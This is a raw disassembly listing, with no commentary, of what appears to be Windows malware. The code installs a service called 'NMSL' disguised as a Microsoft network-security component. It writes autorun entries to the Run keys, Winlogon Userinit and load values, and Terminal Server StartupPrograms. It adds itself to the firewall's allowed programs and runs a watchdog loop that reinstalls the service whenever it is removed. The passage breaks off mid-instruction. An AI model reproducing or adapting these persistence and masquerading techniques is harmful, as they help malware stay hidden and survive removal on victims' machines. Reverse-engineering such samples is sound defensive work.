proc near ; CODE XREF: DMN1:loc_447427p ; sub_447EEC+3F3p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_113 = byte ptr -113h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 0F003Fh push 0 push 0 call dword_411E48 ; OpenSCManagerA mov esi, eax test eax, eax jz loc_446860 push 0 push 0 push 0 push 0 push 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push 0 push 2 push 110h push 0F01FFh push offset aWindowsNetwork ; "Windows Network Management and Security"... push offset aNmsl ; "NMSL" push esi call dword_411E64 ; CreateServiceA mov ebx, eax test ebx, ebx jnz short loc_4467AD call dword_411CEC ; RtlGetLastWin32Error cmp eax, 431h jnz short loc_44679F push esi call dword_411E50 ; CloseServiceHandle call sub_446603 xor eax, eax inc eax jmp loc_446860 ; --------------------------------------------------------------------------- loc_44679F: ; CODE XREF: sub_446725+64j push esi call dword_411E50 ; CloseServiceHandle xor eax, eax jmp loc_446860 ; --------------------------------------------------------------------------- loc_4467AD: ; CODE XREF: sub_446725+57j push offset aServiceRegiste ; "service registered\n" call nullsub_4 pop ecx xor edi, edi inc edi push 0FFh push offset aProvidesSuppor ; "Provides support for Microsoft Windows®"... lea eax, [ebp+var_113] push eax call dword_411D40 ; lstrcpyn lea eax, [ebp+var_113] mov [ebp+var_120], eax lea eax, [ebp+var_120] push eax push 1 push ebx call dword_411E5C ; ChangeServiceConfig2A test eax, eax jnz short loc_446802 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_446802 or edi, 0FFFFFFFFh loc_446802: ; CODE XREF: sub_446725+CBj ; sub_446725+D8j mov [ebp+var_11C], 1 and [ebp+var_118], 0 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 lea eax, [ebp+var_11C] mov [ebp+var_4], eax lea eax, [ebp+var_14] push eax push 2 push ebx call dword_411E5C ; ChangeServiceConfig2A test eax, eax jnz short loc_446850 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 430h jnz short loc_446850 or edi, 0FFFFFFFFh loc_446850: ; CODE XREF: sub_446725+119j ; sub_446725+126j push ebx call dword_411E50 ; CloseServiceHandle push esi call dword_411E50 ; CloseServiceHandle mov eax, edi loc_446860: ; CODE XREF: sub_446725+1Fj ; sub_446725+75j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_446725 endp ; =============== S U B R O U T I N E ======================================= sub_446867 proc near ; CODE XREF: DMN1:0044545Ep ; sub_447EEC+B0p ... push ebx push esi push 0F003Fh push 0 push 0 call dword_411E48 ; OpenSCManagerA mov ebx, eax test eax, eax jz short loc_4468A9 push 0F01FFh push offset aNmsl ; "NMSL" push ebx call dword_411E4C ; OpenServiceA mov esi, eax push esi call dword_411E68 ; DeleteService push esi call dword_411E50 ; CloseServiceHandle push ebx call dword_411E50 ; CloseServiceHandle xor eax, eax inc eax loc_4468A9: ; CODE XREF: sub_446867+15j pop esi pop ebx retn sub_446867 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4468AC proc near ; CODE XREF: DMN1:00447408p ; sub_447EEC+40Ap var_53C = dword ptr -53Ch var_538 = byte ptr -538h var_534 = byte ptr -534h var_409 = byte ptr -409h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h push ebp mov ebp, esp sub esp, 53Ch push ebx push esi push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\" lea eax, [ebp+var_400] push eax call sub_448E6B pop ecx pop ecx lea ebx, [ebp+var_400] lea eax, [ebp+var_400] push eax call sub_448E4B pop ecx add ebx, eax push offset aNmsl ; "NMSL" push ebx call sub_448E6B pop ecx pop ecx xor esi, esi lea eax, [ebp+var_404] push eax push 0F003Fh push 0 lea eax, [ebp+var_400] push eax push 80000002h call dword_411E34 ; RegOpenKeyExA test eax, eax jnz short loc_44697A mov [ebp+var_408], 12Ch lea eax, [ebp+var_408] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_538] push eax push 0 push offset aImagepath ; "ImagePath" push [ebp+var_404] call dword_411E6C ; RegQueryValueExA mov [ebp+var_53C], eax test eax, eax jnz short loc_44696E mov [ebp+var_409], 0 push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" lea eax, [ebp+var_534] push eax call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_44696E xor esi, esi inc esi loc_44696E: ; CODE XREF: sub_4468AC+A0j ; sub_4468AC+BDj push [ebp+var_404] call dword_411E30 ; RegCloseKey loc_44697A: ; CODE XREF: sub_4468AC+64j mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_4468AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446982 proc near ; CODE XREF: DMN1:00447411p ; sub_447EEC+413p var_40C = byte ptr -40Ch var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 40Ch push ebx push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\" lea eax, [ebp+var_408] push eax call sub_448E6B pop ecx pop ecx lea ebx, [ebp+var_408] lea eax, [ebp+var_408] push eax call sub_448E4B pop ecx add ebx, eax push offset aNmsl ; "NMSL" push ebx call sub_448E6B pop ecx pop ecx lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 lea eax, [ebp+var_408] push eax push 80000002h call dword_411E28 ; RegCreateKeyExA test eax, eax jnz loc_446AF7 mov [ebp+var_8], 110h push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aType ; "Type" push [ebp+var_4] call dword_411E2C ; RegSetValueExA mov [ebp+var_8], 2 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aStart ; "Start" push [ebp+var_4] call dword_411E2C ; RegSetValueExA and [ebp+var_8], 0 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aErrorcontrol ; "ErrorControl" push [ebp+var_4] call dword_411E2C ; RegSetValueExA and [ebp+var_8], 0 push 4 lea eax, [ebp+var_8] push eax push 4 push 0 push offset aErrorcontrol ; "ErrorControl" push [ebp+var_4] call dword_411E2C ; RegSetValueExA push 0Ch push offset aLocalsystem ; "LocalSystem" push 1 push 0 push offset aObjectname ; "ObjectName" push [ebp+var_4] call dword_411E2C ; RegSetValueExA push offset aWindowsNetwork ; "Windows Network Management and Security"... call sub_448E4B pop ecx inc eax push eax push offset aWindowsNetwork ; "Windows Network Management and Security"... push 1 push 0 push offset aDisplayname ; "DisplayName" push [ebp+var_4] call dword_411E2C ; RegSetValueExA push offset aProvidesSuppor ; "Provides support for Microsoft Windows®"... call sub_448E4B pop ecx inc eax push eax push offset aProvidesSuppor ; "Provides support for Microsoft Windows®"... push 1 push 0 push offset aDescription ; "Description" push [ebp+var_4] call dword_411E2C ; RegSetValueExA push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" call sub_448E4B pop ecx inc eax push eax push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" push 1 push 0 push offset aImagepath ; "ImagePath" push [ebp+var_4] call dword_411E2C ; RegSetValueExA push [ebp+var_4] call dword_411E30 ; RegCloseKey loc_446AF7: ; CODE XREF: sub_446982+6Bj pop ebx mov esp, ebp pop ebp retn sub_446982 endp ; --------------------------------------------------------------------------- push ebx push esi push offset a1ea9b031C3014f ; "{1EA9B031-C301-4F76-805F-A41ECF9ED164}" push 0 push 0 push 0 call dword_411D44 ; CreateEventA mov ebx, eax test eax, eax jz short loc_446B30 push ebx call dword_411D48 ; SetEvent mov esi, eax push ebx call dword_411CFC ; CloseHandle test esi, esi jz short loc_446B2E xor eax, eax inc eax jmp short loc_446B30 ; --------------------------------------------------------------------------- loc_446B2E: ; CODE XREF: DMN1:00446B27j xor eax, eax loc_446B30: ; CODE XREF: DMN1:00446B13j ; DMN1:00446B2Cj pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446B33 proc near ; CODE XREF: sub_446D40+89p ; sub_446DD6+CAp ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E28 ; RegCreateKeyExA test eax, eax jnz short loc_446B85 push [ebp+arg_C] call sub_448E4B pop ecx inc eax push eax push [ebp+arg_C] push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call dword_411E2C ; RegSetValueExA push [ebp+var_4] call dword_411E30 ; RegCloseKey loc_446B85: ; CODE XREF: sub_446B33+29j mov esp, ebp pop ebp retn sub_446B33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446B89 proc near ; CODE XREF: sub_446C91+3Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov esi, [ebp+arg_0] push esi call sub_448E4B pop ecx mov edi, eax push [ebp+var_4] call sub_448E4B pop ecx mov ebx, eax jmp short loc_446BCD ; --------------------------------------------------------------------------- loc_446BAF: ; CODE XREF: sub_446B89+46j push ebx push [ebp+var_4] push ebx push esi push 1 push 400h call dword_411D00 ; CompareStringA cmp eax, 2 jnz short loc_446BCB mov eax, esi jmp short loc_446BD3 ; --------------------------------------------------------------------------- loc_446BCB: ; CODE XREF: sub_446B89+3Cj inc esi dec edi loc_446BCD: ; CODE XREF: sub_446B89+24j cmp edi, ebx jge short loc_446BAF xor eax, eax loc_446BD3: ; CODE XREF: sub_446B89+40j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_446B89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446BDA proc near ; CODE XREF: sub_446C91+23p ; sub_446D40+4Ap ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] mov edi, [ebp+arg_10] cmp edi, 1 jl short loc_446BF5 test esi, esi jnz short loc_446BFC loc_446BF5: ; CODE XREF: sub_446BDA+15j xor eax, eax jmp loc_446C8A ; --------------------------------------------------------------------------- loc_446BFC: ; CODE XREF: sub_446BDA+19j lea eax, [ebp+var_8] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E34 ; RegOpenKeyExA test eax, eax jz short loc_446C1B xor eax, eax jmp short loc_446C8A ; --------------------------------------------------------------------------- loc_446C1B: ; CODE XREF: sub_446BDA+3Bj push [ebp+arg_4] push offset aRegreadOpenedS ; "RegRead(): opened %s\n" call nullsub_4 pop ecx pop ecx push edi push 0 push esi call sub_448DCB add esp, 0Ch lea eax, [edi-1] mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push esi lea eax, [ebp+var_10] push eax push 0 push ebx push [ebp+var_8] call dword_411E6C ; RegQueryValueExA mov [ebp+var_C], eax push [ebp+var_8] call dword_411E30 ; RegCloseKey cmp [ebp+var_C], 0 jnz short loc_446C7B push esi push ebx push [ebp+var_4] push offset aRegreadReadIBy ; "RegRead(): read %i bytes from %s (%s)\n" call nullsub_4 add esp, 10h mov eax, [ebp+var_4] dec eax jmp short loc_446C8A ; --------------------------------------------------------------------------- loc_446C7B: ; CODE XREF: sub_446BDA+87j push ebx push offset aRegreadCanTRea ; "RegRead(): can't read key %s\n" call nullsub_4 pop ecx pop ecx xor eax, eax loc_446C8A: ; CODE XREF: sub_446BDA+1Dj ; sub_446BDA+3Fj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_446BDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446C91 proc near ; CODE XREF: sub_446D40+23p ; sub_446DD6+24p ... var_2000 = byte ptr -2000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 2000h call sub_448F2B push ebx push 2000h lea eax, [ebp+var_2000] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_446BDA add esp, 14h mov ebx, eax test eax, eax jz short loc_446CDE push [ebp+arg_C] lea eax, [ebp+var_2000] push eax call sub_446B89 pop ecx pop ecx test eax, eax jz short loc_446CDC xor eax, eax inc eax jmp short loc_446CDE ; --------------------------------------------------------------------------- loc_446CDC: ; CODE XREF: sub_446C91+44j xor eax, eax loc_446CDE: ; CODE XREF: sub_446C91+2Fj ; sub_446C91+49j pop ebx mov esp, ebp pop ebp retn sub_446C91 endp ; =============== S U B R O U T I N E ======================================= sub_446CE3 proc near ; CODE XREF: sub_446F6F+1Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov esi, [esp+0Ch+arg_8] mov edi, [esp+0Ch+arg_C] test edi, edi jz short loc_446CFC mov byte ptr [ebx], 22h inc ebx jmp short loc_446CFF ; --------------------------------------------------------------------------- loc_446CFC: ; CODE XREF: sub_446CE3+11j mov byte ptr [ebx], 0 loc_446CFF: ; CODE XREF: sub_446CE3+17j push [esp+0Ch+arg_4] push ebx call sub_448E6B pop ecx pop ecx push [esp+0Ch+arg_4] call sub_448E4B pop ecx add ebx, eax test edi, edi jz short loc_446D1F mov byte ptr [ebx], 22h inc ebx loc_446D1F: ; CODE XREF: sub_446CE3+36j test esi, esi jz short loc_446D39 mov byte ptr [ebx], 20h inc ebx push esi push ebx call sub_448E6B pop ecx pop ecx push esi call sub_448E4B pop ecx add ebx, eax loc_446D39: ; CODE XREF: sub_446CE3+3Ej mov byte ptr [ebx], 0 pop edi pop esi pop ebx retn sub_446CE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446D40 proc near ; CODE XREF: sub_446F6F+78p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_448F2B push ebx push dword_4128A8 push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_446C91 add esp, 10h test eax, eax jnz short loc_446DD1 push 2000h lea eax, [ebp+var_2000] push eax push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_446BDA add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_446D9F mov [ebp+var_2000], 0 loc_446D9F: ; CODE XREF: sub_446D40+56j push dword_4128A8 lea eax, [ebp+var_2000] push eax call sub_448E8B pop ecx pop ecx lea eax, [ebp+var_2000] push eax push offset aStartupprogram ; "StartupPrograms" push offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"... push 80000002h call sub_446B33 add esp, 10h loc_446DD1: ; CODE XREF: sub_446D40+2Dj pop ebx mov esp, ebp pop ebp retn sub_446D40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446DD6 proc near ; CODE XREF: sub_446F6F+7Dp var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_448F2B push ebx push esi push dword_4128A8 push offset aUserinit ; "Userinit" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_446C91 add esp, 10h test eax, eax jnz loc_446EA8 push 2000h lea eax, [ebp+var_2000] push eax push offset aUserinit ; "Userinit" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_446BDA add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_446E3A mov [ebp+var_2000], 0 loc_446E3A: ; CODE XREF: sub_446DD6+5Bj cmp [ebp+var_2000], 0 jz short loc_446E5F lea esi, [ebp+var_2000] jmp short loc_446E4C ; --------------------------------------------------------------------------- loc_446E4B: ; CODE XREF: sub_446DD6+79j inc esi loc_446E4C: ; CODE XREF: sub_446DD6+73j cmp byte ptr [esi], 0 jnz short loc_446E4B dec esi cmp byte ptr [esi], 2Ch jz short loc_446E5F inc esi mov byte ptr [esi], 2Ch inc esi mov byte ptr [esi], 0 loc_446E5F: ; CODE XREF: sub_446DD6+6Bj ; sub_446DD6+7Fj push dword_4128A8 lea eax, [ebp+var_2000] push eax call sub_448E8B pop ecx pop ecx test ebx, ebx jnz short loc_446E8A push offset asc_40E73C ; "," lea eax, [ebp+var_2000] push eax call sub_448E8B pop ecx pop ecx loc_446E8A: ; CODE XREF: sub_446DD6+9Fj lea eax, [ebp+var_2000] push eax push offset aUserinit ; "Userinit" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_446B33 add esp, 10h loc_446EA8: ; CODE XREF: sub_446DD6+2Ej pop esi pop ebx mov esp, ebp pop ebp retn sub_446DD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446EAE proc near ; CODE XREF: sub_446F6F+82p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_448F2B push ebx push esi push dword_4128A8 push offset aLoad ; "load" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_446C91 add esp, 10h test eax, eax jnz loc_446F69 push 2000h lea eax, [ebp+var_2000] push eax push offset aLoad ; "load" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_446BDA add esp, 14h mov ebx, eax test ebx, ebx jnz short loc_446F12 mov [ebp+var_2000], 0 loc_446F12: ; CODE XREF: sub_446EAE+5Bj cmp [ebp+var_2000], 0 jz short loc_446F37 lea esi, [ebp+var_2000] jmp short loc_446F24 ; --------------------------------------------------------------------------- loc_446F23: ; CODE XREF: sub_446EAE+79j inc esi loc_446F24: ; CODE XREF: sub_446EAE+73j cmp byte ptr [esi], 0 jnz short loc_446F23 dec esi cmp byte ptr [esi], 2Ch jz short loc_446F37 inc esi mov byte ptr [esi], 2Ch inc esi mov byte ptr [esi], 0 loc_446F37: ; CODE XREF: sub_446EAE+6Bj ; sub_446EAE+7Fj push dword_4128A8 lea eax, [ebp+var_2000] push eax call sub_448E8B pop ecx pop ecx lea eax, [ebp+var_2000] push eax push offset aLoad ; "load" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"... push 80000002h call sub_446B33 add esp, 10h loc_446F69: ; CODE XREF: sub_446EAE+2Ej pop esi pop ebx mov esp, ebp pop ebp retn sub_446EAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446F6F proc near ; CODE XREF: sub_447EEC+557p var_2000 = byte ptr -2000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2000h call sub_448F2B push 1 push offset asc_40E700 ; "*" push [ebp+arg_0] lea eax, [ebp+var_2000] push eax call sub_446CE3 add esp, 10h push offset aWritingToHklmA ; "writing to HKLM/autorun key...\n" call nullsub_4 pop ecx lea eax, [ebp+var_2000] push eax push offset aWindowsNetwork ; "Windows Network Management and Security"... push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_446B33 add esp, 10h push offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n" call nullsub_4 pop ecx lea eax, [ebp+var_2000] push eax push offset aWindowsNetwork ; "Windows Network Management and Security"... push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call sub_446B33 add esp, 10h call sub_446D40 call sub_446DD6 call sub_446EAE mov esp, ebp pop ebp retn sub_446F6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_446FFA proc near ; CODE XREF: sub_447EEC+236p var_2000 = byte ptr -2000h push ebp mov ebp, esp mov eax, 2000h call sub_448F2B mov [ebp+var_2000], 0 push dword_4128A8 lea eax, [ebp+var_2000] push eax call sub_448E8B pop ecx pop ecx push offset aEnabled ; ":*:Enabled:" lea eax, [ebp+var_2000] push eax call sub_448E8B pop ecx pop ecx push offset aWindowsNetwork ; "Windows Network Management and Security"... lea eax, [ebp+var_2000] push eax call sub_448E8B pop ecx pop ecx lea eax, [ebp+var_2000] push eax push dword_4128A8 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_446B33 add esp, 10h mov esp, ebp pop ebp retn sub_446FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_44706B proc near ; CODE XREF: DMN1:00447289p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push 14h push 40h call dword_411CE4 ; LocalAlloc mov [ebp+var_10], eax push 1 push [ebp+var_10] call dword_411E3C ; InitializeSecurityDescriptor push 0 push 0 push 1 push [ebp+var_10] call dword_411E40 ; SetSecurityDescriptorDacl mov [ebp+var_C], 0Ch mov eax, [ebp+var_10] mov [ebp+var_8], eax mov [ebp+var_4], 1 push offset a1ea9b031C3014f ; "{1EA9B031-C301-4F76-805F-A41ECF9ED164}" push 0 push 0 lea eax, [ebp+var_C] push eax call dword_411D44 ; CreateEventA mov ebx, eax test ebx, ebx jz short loc_4470D5 push offset aEventCreated_ ; "EVENT CREATED.\n" call sub_448A5B pop ecx jmp short loc_4470E8 ; --------------------------------------------------------------------------- loc_4470D5: ; CODE XREF: sub_44706B+5Bj call dword_411CEC ; RtlGetLastWin32Error push eax push offset aEventCreatonEr ; "EVENT CREATON ERROR: %i\n" call sub_448A5B pop ecx pop ecx loc_4470E8: ; CODE XREF: sub_44706B+68j push 0 push 0 push offset sub_405F73 call sub_44910B add esp, 0Ch push eax call dword_411CFC ; CloseHandle push 0 push 0 push offset sub_406A07 call sub_44910B add esp, 0Ch mov esi, eax loc_447113: ; CODE XREF: sub_44706B:loc_447162j test ebx, ebx jz short loc_44714D push offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n" call sub_448A5B pop ecx mov [ebp+var_18], esi mov [ebp+var_14], ebx push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push 2 call dword_411D4C ; WaitForMultipleObjects mov edi, eax test edi, edi jz short loc_447143 cmp edi, 1 jnz short loc_447162 loc_447143: ; CODE XREF: sub_44706B+D1j push 1 call sub_4491DB pop ecx jmp short loc_447162 ; --------------------------------------------------------------------------- loc_44714D: ; CODE XREF: sub_44706B+AAj push 0FFFFFFFFh push esi call dword_411D38 ; WaitForSingleObject test eax, eax jnz short loc_447162 push 1 call sub_4491DB pop ecx loc_447162: ; CODE XREF: sub_44706B+D6j ; sub_44706B+E0j ... jmp short loc_447113 sub_44706B endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- mov eax, [esp+4] cmp eax, 3 jz short loc_447180 cmp eax, 4 jz short loc_44719D cmp eax, 5 jz short loc_4471B0 jmp short locret_4471D3 ; --------------------------------------------------------------------------- loc_447180: ; CODE XREF: DMN1:00447172j mov dword_412940, 4 push offset dword_41293C push dword_412958 call dword_411E70 ; SetServiceStatus jmp short locret_4471D3 ; --------------------------------------------------------------------------- loc_44719D: ; CODE XREF: DMN1:00447177j push offset dword_41293C push dword_412958 call dword_411E70 ; SetServiceStatus jmp short locret_4471D3 ; --------------------------------------------------------------------------- loc_4471B0: ; CODE XREF: DMN1:0044717Cj mov dword_412940, 1 push offset dword_41293C push dword_412958 call dword_411E70 ; SetServiceStatus push 1 call sub_4491DB pop ecx locret_4471D3: ; CODE XREF: DMN1:0044717Ej ; DMN1:0044719Bj ... retn 4 ; --------------------------------------------------------------------------- push offset aServicectrldis ; "ServiceCtrlDispatcher()\n" call sub_448A5B pop ecx push offset loc_405D00 push off_41295C call dword_411E74 ; RegisterServiceCtrlHandlerA mov dword_412958, eax cmp dword_412958, 0 jz loc_4472B6 push 1 push offset dword_411048 call dword_411D08 ; InterlockedExchange push 1Ch push 0 push offset dword_41293C call sub_448DCB add esp, 0Ch mov dword_41293C, 110h mov dword_412940, 2 and dword_412944, 0 mov dword_412954, 9C4h push offset aSetservicestat ; "SetServiceStatus(): start pending\n" call sub_448A5B pop ecx push offset dword_41293C push dword_412958 call dword_411E70 ; SetServiceStatus mov dword_412940, 4 push offset aSetservicest_0 ; "SetServiceStatus(): running\n" call sub_448A5B pop ecx push offset dword_41293C push dword_412958 call dword_411E70 ; SetServiceStatus call sub_44706B ; --------------------------------------------------------------------------- mov dword_412940, 1 push offset aSetservicest_1 ; "SetServiceStatus(): stopped\n" call sub_448A5B pop ecx push offset dword_41293C push dword_412958 call dword_411E70 ; SetServiceStatus jmp short locret_4472C1 ; --------------------------------------------------------------------------- loc_4472B6: ; CODE XREF: DMN1:004471FEj push offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("... call sub_448A5B pop ecx locret_4472C1: ; CODE XREF: DMN1:004472B4j retn 8 ; =============== S U B R O U T I N E ======================================= sub_4472C4 proc near ; CODE XREF: DMN1:0044730Ap ; sub_447EEC+532p push ebx call sub_445579 test eax, eax jz short loc_4472D2 xor eax, eax jmp short loc_447308 ; --------------------------------------------------------------------------- loc_4472D2: ; CODE XREF: sub_4472C4+8j mov eax, off_41295C mov dword_412960, eax mov dword_412964, offset loc_405D6B and dword_412968, 0 and dword_41296C, 0 push offset dword_412960 call dword_411E78 ; StartServiceCtrlDispatcherA mov ebx, eax call sub_4455CD mov eax, ebx loc_447308: ; CODE XREF: sub_4472C4+Cj pop ebx retn sub_4472C4 endp ; --------------------------------------------------------------------------- call sub_4472C4 call sub_44919B retn ; --------------------------------------------------------------------------- call sub_446651 mov dword_411044, eax call sub_44919B retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_447325 proc near ; CODE XREF: DMN1:00447442p ; sub_447EEC+1F7p var_854 = dword ptr -854h var_850 = dword ptr -850h var_844 = byte ptr -844h var_44 = dword ptr -44h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 854h push 44h push 0 lea eax, [ebp+var_44] push eax call sub_448DCB add esp, 0Ch mov [ebp+var_44], 44h push offset asc_40EDC3 ; "\"" lea eax, [ebp+var_844] push eax call sub_448E6B pop ecx pop ecx push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" lea eax, [ebp+var_844] push eax call sub_448E8B pop ecx pop ecx push offset asc_40E5AE ; "\" " lea eax, [ebp+var_844] push eax call sub_448E8B pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_447395 push [ebp+arg_0] lea eax, [ebp+var_844] push eax call sub_448E8B pop ecx pop ecx loc_447395: ; CODE XREF: sub_447325+5Dj lea eax, [ebp+var_854] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_844] push eax push 0 call dword_411D14 ; CreateProcessA test eax, eax jz short loc_4473DA push [ebp+var_850] call dword_411CFC ; CloseHandle push [ebp+var_854] call dword_411CFC ; CloseHandle xor eax, eax inc eax loc_4473DA: ; CODE XREF: sub_447325+98j mov esp, ebp pop ebp retn sub_447325 endp ; --------------------------------------------------------------------------- push ebx push esi push offset aServicefixerth ; "ServiceFixerThread started.\n" call nullsub_4 pop ecx loc_4473EB: ; CODE XREF: DMN1:loc_447473j xor ebx, ebx push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" call dword_411D50 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_447468 call sub_4464B3 test eax, eax jz short loc_447427 call sub_4468AC test eax, eax jnz short loc_447416 call sub_446982 loc_447416: ; CODE XREF: DMN1:0044740Fj call sub_446603 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_447434 xor ebx, ebx inc ebx jmp short loc_447434 ; --------------------------------------------------------------------------- loc_447427: ; CODE XREF: DMN1:00447406j call sub_446725 cmp eax, 0FFFFFFFFh jnz short loc_447434 xor ebx, ebx inc ebx loc_447434: ; CODE XREF: DMN1:00447420j ; DMN1:00447425j ... test ebx, ebx jz short loc_44745B call sub_4455CD push offset asc_40E58E ; "**" call sub_447325 pop ecx test eax, eax jz short loc_447454 push 0 call sub_4491DB pop ecx loc_447454: ; CODE XREF: DMN1:0044744Aj call sub_445579 jmp short loc_447473 ; --------------------------------------------------------------------------- loc_44745B: ; CODE XREF: DMN1:00447436j push 1F4h call dword_411D04 ; Sleep jmp short loc_447473 ; --------------------------------------------------------------------------- loc_447468: ; CODE XREF: DMN1:004473FDj push 2710h call dword_411D04 ; Sleep loc_447473: ; CODE XREF: DMN1:00447459j ; DMN1:00447466j jmp loc_4473EB ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push esi mov eax, [ebp+8] mov esi, eax push dword_412970 call dword_411D54 ; ResetEvent loc_447492: ; CODE XREF: DMN1:004474C6j mov byte ptr [ebp-1], 0 push 1 lea eax, [ebp-1] push eax push esi call sub_442B47 add esp, 0Ch mov 